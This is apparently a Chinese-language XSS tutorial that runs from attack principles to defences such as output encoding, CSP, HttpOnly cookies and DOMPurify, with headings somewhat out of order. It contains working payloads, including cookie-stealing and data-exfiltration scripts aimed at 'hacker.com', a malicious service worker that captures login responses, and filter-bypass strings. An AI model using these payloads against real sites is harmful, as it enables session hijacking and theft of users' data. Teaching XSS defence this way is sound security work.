XSS攻击：从原理入门到实战精通详解

一、XSS攻击基础概念

1.1 什么是XSS攻击
XSS（Cross-Site Scripting，跨站脚本攻击）是一种将恶意脚本注入到可信网站中的攻击手段。当用户访问被注入恶意代码的页面时，浏览器会执行这些代码，导致：

• 用户会话被劫持（盗取Cookie）

• 网页内容被篡改

• 敏感信息被窃取

• 恶意软件传播

1.2 为何称为跨站脚本
“跨站”指攻击者利用第三方网站漏洞实施攻击，“脚本”强调攻击载体是JavaScript等脚本语言。与CSRF的区别在于：

• XSS：利用用户对网站的信任

• CSRF：利用网站对用户浏览器的信任

1.3 攻击原理核心

二、XSS攻击类型深度解析

2.1 反射型XSS（非持久化）

• 攻击流程：

  1. 攻击者制作恶意URL：http://victim.com/search?q=<script>stealCookie()</script>

  2. 诱导用户点击（通过邮件/即时消息）

  3. 服务器返回包含恶意脚本的搜索结果页

  4. 用户浏览器执行脚本

• 经典案例：

  html

  <!-- 服务端代码（PHP示例） -->
  <div>搜索结果：<?php echo $_GET['q']; ?></div>
  
  <!-- 恶意URL -->
  http://victim.com/search?q=<script>new Image().src='http://hacker.com/steal?cookie='+document.cookie</script>

2.2 存储型XSS（持久化）

• 攻击流程：

  1. 攻击者在论坛/评论区提交含恶意脚本的内容

  2. 内容存储到数据库

  3. 其他用户访问包含该内容的页面

  4. 恶意脚本自动执行

• 高危场景：

  javascript

  // 用户资料页攻击
  <script>
    fetch('/change-email', {
      method: 'POST',
      body: 'email=hacker@evil.com'
    })
  </script>

2.3 DOM型XSS

• 特殊性质：完全不经过服务器，纯客户端漏洞

• 攻击模型：

• 漏洞代码示例：

  html

  <script>
    // 从URL片段获取参数
    const token = location.hash.substring(1);
    document.write("Token: " + token); 
  </script>
  
  <!-- 恶意URL -->
  http://victim.com#<img src=x οnerrοr=alert(document.cookie)>

• 三、高级XSS攻击技术

  3.1 绕过过滤的编码技巧

• HTML实体编码绕过：

  javascript

  // 原始：<script>alert(1)</script>
  // 绕过：<scr<script>ipt>alert(1)</script>

• Unicode混淆：

  javascript

  "\u003cscript\u003ealert(1)\u003c/script\u003e"

• SVG矢量图攻击：

  html

  <svg οnlοad="alert(document.domain)">
    <animate attributeName="x" values="0;100" begin="0s" dur="5s"/>
  </svg>

• 3.2 基于CSP绕过的攻击

  即使有Content Security Policy保护，仍可能被绕过：

  http

  Content-Security-Policy: script-src 'self' https://cdn.example.com

  攻击方式：

  html

  <!-- 利用JSONP端点 -->
  <script src="https://cdn.example.com/jsonp?callback=alert(1)"></script>

  3.3 Service Worker持久化攻击

  javascript

  // 注册恶意Service Worker
  navigator.serviceWorker.register('hacker-sw.js').then(() => {
    console.log('SW registered!');
  });
  
  // hacker-sw.js内容
  self.addEventListener('fetch', event => {
    if(event.request.url.includes('login')) {
      event.respondWith(
        fetch(event.request).then(res => {
          const clone = res.clone();
          clone.text().then(data => {
            fetch('https://hacker.com/log', { 
              method: 'POST', 
              body: data 
            });
          });
          return res;
        })
      );
    }
  });

  四、企业级防御方案

  4.1 输入验证与输出编码

  数据类型	过滤规则	编码方法
  HTML正文	禁用< > & " '	HTML实体编码
  HTML属性	严格限制属性字符集[a-zA-Z0-9_-]	属性引号包裹+URL编码
  JavaScript变量	禁止用户输入直接进入JS执行环境	Unicode转义
  CSS值	验证color/url等格式	CSS转义序列

  4.2 内容安全策略（CSP）最佳实践

  http

  Content-Security-Policy: 
    default-src 'none'; 
    script-src 'self' 'sha256-abc123...' 
      https://trusted.cdn.com; 
    style-src 'self' 'unsafe-inline'; 
    img-src * data:; 
    connect-src 'self'; 
    frame-ancestors 'none'; 
    form-action 'self';
    upgrade-insecure-requests;

  4.3 深度防御策略

• Cookie保护：

  http

  Set-Cookie: sessionId=123; HttpOnly; Secure; SameSite=Strict

• XSS防御头：

  http

  X-XSS-Protection: 1; mode=block
  X-Content-Type-Options: nosniff

• 现代浏览器特性：

  html

  <!-- 启用Trusted Types API -->
  <meta http-equiv="Content-Security-Policy" 
        content="require-trusted-types-for 'script'">

• Web Components：Shadow DOM可能绕过传统检测

• WebAssembly：内存操作可能被利用

• Serverless架构：无服务器环境的XSS防护挑战

• 6.2 自动化检测工具

  工具名称	类型	检测能力
  OWASP ZAP	动态扫描	自动爬取+启发式检测
  XSStrike	高级探测	上下文分析+绕过检测
  DOM Invader	浏览器插件	DOM型XSS可视化跟踪
  Burp Suite Pro	商业工具	全流程漏洞检测

  6.3 安全开发全流程

  五、实战：从漏洞挖掘到防御（电商网站案例）

  5.1 漏洞发现

  测试payload：

  javascript

  "><svg/οnlοad=console.log(`XSS:${document.cookie}`)>

  响应分析：

  html

  <!-- 返回页面片段 -->
  <div class="product-description">
    "><svg/οnlοad=console.log(`XSS:${document.cookie}`)>
  </div>

  5.2 漏洞利用

  构造高级攻击链：

  javascript

  fetch('/api/user/profile')
    .then(res => res.json())
    .then(data => {
      const pl = new URLSearchParams();
      pl.append('email', data.email);
      pl.append('phone', data.phone);
      fetch('https://hacker.com/exfil', {
        method: 'POST',
        body: pl
      });
    });

  5.3 修复方案

  Node.js修复代码：

  javascript

  // 使用DOMPurify库
  const createDOMPurify = require('dompurify');
  const { JSDOM } = require('jsdom');
  const window = new JSDOM('').window;
  const DOMPurify = createDOMPurify(window);
  
  app.get('/product', (req, res) => {
    const desc = DOMPurify.sanitize(req.query.description, {
      ALLOWED_TAGS: ['p', 'br', 'strong'],
      FORBID_ATTR: ['style', 'onclick']
    });
    res.send(`<div class="desc">${desc}</div>`);
  });

  六、前沿研究与扩展阅读

  6.1 Web新特性中的XSS

  研究报告数据：根据Acunetix 2023全球应用安全报告，XSS漏洞占所有Web漏洞的23%，平均修复时间为97天，是渗透测试中最常被利用的漏洞之一。

  ---

  附录：XSS速查表

  攻击场景	防护方案	工具支持
  富文本编辑器	严格白名单+CSS过滤	DOMPurify/clsanitize
  AJAX数据渲染	前端模板引擎自动编码	Vue/React/Angular
  URL参数处理	URL解码+严格验证	URLSearchParams
  Cookie访问	HttpOnly+Secure属性	Web框架配置
  第三方库漏洞	SCA(软件成分分析)工具	Snyk/Dependabot

  本指南从基础原理到企业级防护策略，覆盖了XSS攻防的完整知识体系。实际防御需要结合安全编码、自动化测试、运行时防护的多层纵深防御，才能有效应对不断进化的XSS攻击手法。